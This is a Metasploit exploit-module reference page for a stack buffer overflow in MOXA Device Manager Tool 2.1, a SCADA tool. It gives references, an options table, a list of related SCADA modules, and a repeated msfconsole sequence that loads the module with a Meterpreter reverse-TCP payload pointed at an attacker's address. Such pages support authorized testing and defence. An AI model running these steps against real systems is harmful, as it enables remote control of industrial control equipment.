MOXA Device Manager Tool 2.1 Buffer Overflow
This module exploits a stack buffer overflow in MOXA MDM Tool 2.1. When sending a specially crafted MDMGw (MDM2_Gateway) response, an attacker may be able to execute arbitrary code.
Exploit Rank
- Great
Exploit Authors
- Ruben Santamarta < >
- MC < mc [at] metasploit.com >
Vulnerability References
- OSVDB-69027
- http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=
- http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf
Exploit Targets
- 0 - MOXA MDM Tool 2.1 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/moxa_mdmtool
msf exploit(moxa_mdmtool) > show payloads
msf exploit(moxa_mdmtool) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(moxa_mdmtool) > set LHOST [MY IP ADDRESS]
msf exploit(moxa_mdmtool) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/moxa_mdmtool
msf exploit(moxa_mdmtool) > show payloads
msf exploit(moxa_mdmtool) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(moxa_mdmtool) > set LHOST [MY IP ADDRESS]
msf exploit(moxa_mdmtool) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The daemon port to listen on. (default: 54321) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
